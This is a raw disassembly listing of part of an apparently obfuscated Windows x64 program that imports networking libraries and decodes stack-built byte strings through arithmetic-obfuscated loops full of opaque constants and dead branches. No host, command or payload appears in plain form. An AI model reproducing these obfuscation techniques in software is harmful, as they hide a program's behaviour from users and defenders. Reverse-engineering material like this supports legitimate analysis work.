movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x70
add r9b, cl
mov byte [rbp + r11 + 0xad0], r9b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14011922a
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0xad0]
add rax, r10
add r11, rax
inc r11
jmp 0x1401188af
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x24
jmp 0x1401188ac
lea rcx, [r11 + r12]
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x7c
jmp 0x14011889c
lea rdx, [rbp + 0x16a0ce0]
jmp 0x140119297
lea rdx, [rbp + 0x6bc86c]
jmp 0x140119297
lea rdx, [rbp + 0xad0]
lea rcx, [rbp + 0x340]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1390]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401192cc
mov rdx, qword [rbx]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1390]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1390]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1390]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x7b0], 0x9b
mov byte [rbp + 0x7b1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7b2], 0x90
mov byte [rbp + 0x7b3], 0xdb
mov byte [rbp + 0x7b4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x7b5], Ordinal_217
mov byte [rbp + 0x7b6], 0x7b
mov byte [rbp + 0x7b7], Ordinal_217
mov byte [rbp + 0x7b8], 0x43
mov byte [rbp + 0x7b9], Ordinal_211
mov byte [rbp + 0x7ba], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7bb], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7bc], 0x5e
mov byte [rbp + 0x7bd], Ordinal_211
mov byte [rbp + 0x7be], 0x5d
mov byte [rbp + 0x7bf], Ordinal_211
mov byte [rbp + 0x7c0], WSASetLastError
mov byte [rbp + 0x7c1], 0xc9
mov byte [rbp + 0x7c2], 0x7a
mov byte [rbp + 0x7c3], 0xcb
mov byte [rbp + 0x7c4], Ordinal_79
mov byte [rbp + 0x7c5], Ordinal_200
mov byte [rbp + 0x7c6], 0x64
mov byte [rbp + 0x7c7], Ordinal_200
mov byte [rbp + 0x7c8], 0x54
mov byte [rbp + 0x7c9], 0xc1
mov byte [rbp + 0x7ca], 0x5b
mov byte [rbp + 0x7cb], Ordinal_200
mov byte [rbp + 0x7cc], 0x9f
mov byte [rbp + 0x7cd], 0x3d
mov byte [rbp + 0x7ce], 0x9a
mov byte [rbp + 0x7cf], 0x3f
mov byte [rbp + 0x7d0], 0x84
mov byte [rbp + 0x7d1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x7d2], 0xa8
mov byte [rbp + 0x7d3], Ordinal_60
mov byte [rbp + 0x7d4], 0xad
mov byte [rbp + 0x7d5], gethostname
mov byte [rbp + 0x7d6], 0xb8
mov byte [rbp + 0x7d7], Ordinal_60
mov byte [rbp + 0x7d8], 0xad
mov byte [rbp + 0x7d9], Ordinal_50
mov byte [rbp + 0x7da], 0xa0
mov byte [rbp + 0x7db], gethostname
mov byte [rbp + 0x7dc], 0xbf
mov byte [rbp + 0x7dd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x7de], 0x78
mov byte [rbp + 0x7df], Ordinal_50
mov byte [rbp + 0x7e0], Ordinal_143
mov byte [rbp + 0x7e1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x7e2], 0xb3
mov byte [rbp + 0x7e3], Ordinal_46
mov byte [rbp + 0x7e4], 0xb2
mov byte [rbp + 0x7e5], Ordinal_41
mov byte [rbp + 0x7e6], Ordinal_41
mov byte [rbp + 0x7e7], Ordinal_41
xor eax, eax
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x7f0], eax
mov word [rbp + 0x7f4], ax
mov byte [rbp + 0x7f6], al
mov bl, byte [rsp + 0x50]
movabs rsi, 0x76773772b8399364
movabs r14, 0x9f015fb445766c2c
movabs r12, 0xd14df463755592d8
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x47
jae 0x140119fd4
movzx r8d, byte [rbp + r9 + 0x7b0]
mov rdx, r8
cmp rdi, r9
ja 0x140119fcb
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140119527
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x140119554
je 0x140119f51
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140119f22
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140119f00
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140119eb2
cmp r10, r9
ja 0x140119fc2
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140119585
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x1401195c6
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140119ea1
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140119e7e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140119e35
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140119e0f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140119d84
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140119a03
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401199ef
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401199cd
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401199a7
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140119986
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140119972
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14011994f
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14011993b
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140119fa9
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140119f83
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140119774
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14011974e
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14011972c
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140119924
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14011989d
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140119889
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140119866
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140119852
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14011982f
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14011980c
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401197e8
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401197c5
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401197b7
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x140119796
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401195d3
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401195d3
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401195c6
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140119554
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x1401194f9
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x140119b31
lea rdx, [r9 + r12]
mov ecx, recv
jmp 0x140119b53
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x140119f1d
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140119e51
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x140119f3f
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x140119f42
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x140119aae
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x140119dd9
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x140119a7f
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
cmp rdi, 4
jae 0x140119d33
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x140119c1c
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x140119d26
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140119ed3
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x140119a15
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x140119d93
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x140119f42
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x140119e1e
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140119e51
movabs rdx, 0xc116b11609a3a288
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140119f1d
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x140119efb
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x140119ec1
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x140119a67
lea rdx, [r9 + rsi]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
cmp rax, 0x1000
je 0x140119d59
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x140119b0c
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401198ba
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140119a96
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140119f6c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140119ac0
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140119d7d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140119aeb
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x140119f42
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140119a24
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x140119e8d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140119b38
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x140119ed3
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140119b67
movabs rdx, 0x14451420c69e6c64
add rdx, r9
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140119efb
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140119b93
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x140119f3f
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140119bbe
movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x140119da5
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140119bed
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140119dd9
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401198ba
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140119f6c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140119c39
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x140119a7f
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140119c56
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x140119aae
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140119c73
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x140119e1e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140119c9e
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140119e53
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140119cc9
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140119f1d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140119cf8
movabs rdx, 0x59a339ea860a6c48
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140119efb
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401198f2
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x140119b31
mov byte [rbp + r9 + 0x7b0], bl
jmp 0x140119f7b
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x7b0]
sub bl, al
sub bl, 0x60
jmp 0x140119804
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x7b0]
add bl, r8b
add bl, dl
jmp 0x140119da5
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x7b0], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0x7b0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140119f6c
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140119f3f
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r8b
add cl, bl
mov byte [rbp + r9 + 0x7b0], cl
jmp 0x140119f3f
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140119f1d
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140119ec1
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x7b0], cl
inc r10
jmp 0x140119f1d
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
dec r9
jmp 0x140119f7b
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140119f7b
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x7b0]
add rax, r10
add r9, rax
inc r9
jmp 0x1401194e6
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401194e3
lea rcx, [r9 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x1401194d3
lea rdx, [rbp + 0x16f0ee0]
jmp 0x140119fdb
lea rdx, [rbp + 0x68a244]
jmp 0x140119fdb
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x360]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x14a0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011a010
mov rdx, qword [rbx]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x14a0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x14a0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x14a0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x6f0], 0xcb
mov byte [rbp + 0x6f1], Ordinal_143
mov byte [rbp + 0x6f2], 0xac
mov byte [rbp + 0x6f3], 0xf3
mov byte [rbp + 0x6f4], Ordinal_79
mov byte [rbp + 0x6f5], 0xf1
mov byte [rbp + 0x6f6], WSACleanup
mov byte [rbp + 0x6f7], 0xf7
mov byte [rbp + 0x6f8], 0x55
mov byte [rbp + 0x6f9], 0xf5
mov byte [rbp + 0x6fa], 0xa2
mov byte [rbp + 0x6fb], 0xfb
mov byte [rbp + 0x6fc], 0x66
mov byte [rbp + 0x6fd], 0xf9
mov byte [rbp + 0x6fe], 0x55
mov byte [rbp + 0x6ff], 0xff
mov byte [rbp + 0x700], 0x59
mov byte [rbp + 0x701], 0xfd
mov byte [rbp + 0x702], WSACleanup
mov byte [rbp + 0x703], 0xe3
mov byte [rbp + 0x704], 0x47
mov byte [rbp + 0x705], 0xe1
mov byte [rbp + 0x706], Ordinal_79
mov byte [rbp + 0x707], 0xe7
mov byte [rbp + 0x708], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x709], 0xe5
mov byte [rbp + 0x70a], 0x42
mov byte [rbp + 0x70b], 0xeb
mov byte [rbp + 0x70c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x70d], 0xe9
mov byte [rbp + 0x70e], 0x40
mov byte [rbp + 0x70f], 0xef
mov byte [rbp + 0x710], 0xb8
mov byte [rbp + 0x711], 0xed
mov byte [rbp + 0x712], 0x87
mov byte [rbp + 0x713], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x714], 0x44
mov byte [rbp + 0x715], Ordinal_211
mov byte [rbp + 0x716], 0x40
mov byte [rbp + 0x717], Ordinal_217
mov byte [rbp + 0x718], 0x81
mov byte [rbp + 0x719], Ordinal_217
mov byte [rbp + 0x71a], 0x7e
mov byte [rbp + 0x71b], 0xdb
mov byte [rbp + 0x71c], 0x7c
mov byte [rbp + 0x71d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + WSACleanupe], 0x71
mov byte [rbp + 0x71f], 0xdf
mov byte [rbp + 0x720], Ordinal_143
mov byte [rbp + 0x721], 0xdd
mov byte [rbp + 0x722], 0x64
mov byte [rbp + 0x723], Ordinal_200
mov byte [rbp + 0x724], WSAGetLastError
mov byte [rbp + 0x725], 0xc1
mov byte [rbp + 0x726], 0x54
mov byte [rbp + 0x727], Ordinal_200
mov byte [rbp + 0x728], Ordinal_200
mov byte [rbp + 0x729], Ordinal_200
xor eax, eax
mov dword [rbp + 0x72a], eax
mov word [rbp + 0x72e], ax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xda32561d88143dbe
movabs r14, 0xa7c2111ca25b983a
movabs r12, 0x7ca3d7263d200934
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor r10d, r10d
cmp r10, 0x40
jae 0x14011adcf
movzx r9d, byte [rbp + r10 + 0x6f0]
mov r8, r9
cmp rdi, r10
ja 0x14011adc6
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x14011a26c
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x32
jmp 0x14011a2a6
je 0x14011ad42
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011aceb
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011ac94
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14011ac6b
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14011ac21
cmp r11, r10
ja 0x14011adbd
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x14011a2d9
movabs rdx, 0xe621106c29a91096
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
jmp 0x14011a4eb
lea rax, [r11 + 1]
cmp rdi, rax
je 0x14011ac03
lea rax, [r11 + 2]
cmp rdi, rax
je 0x14011abe0
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011abb0
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14011ab9c
lea rax, [rdi + r11]
cmp rax, r10
jbe 0x14011a7f1
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x14011a7d0
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x14011a7bc
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x14011a799
lea rax, [r11 + 9]
cmp rdi, rax
je 0x14011a785
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14011a762
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x14011a73f
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x14011a71b
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x14011a6f8
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14011a6d2
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14011a31a
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x14011ada0
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x14011ad7a
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x14011a518
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x14011a4f2
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x14011a4cf
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x14011a6ae
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x14011a69a
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x14011a679
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x14011a64b
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14011a31a
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x14011a637
lea rax, [r11 + 6]
cmp rdi, rax
ja 0x14011a616
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x14011a5f5
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x14011a5cf
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x14011a5ac
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14011a58b
lea rax, [r11 + 3]
cmp rdi, rax
ja 0x14011a569
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x14011a54f
lea rax, [r11 + 0x400]
cmp rdi, rax
ja 0x14011a53b
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14011a31a
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 1]
jmp 0x14011a31a
movabs rdx, 0x7954c208e2fd862a
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x14011a30d
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011a2a6
movabs rdx, 0x108b6992c2ac8f32
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14011a23e
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x14011ac30
lea rcx, [r10 + r12]
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
jmp 0x14011ac66
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x14011ac8c
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14011ab3f
movabs rcx, 0x5f75d2750ca696c0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x40
jmp 0x14011ab6e
movabs rdx, 0xab112639fc7e1b44
add rdx, r10
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14011abce
movabs rdx, 0xf6ac79feec559fc8
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x78
jmp 0x14011acb3
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
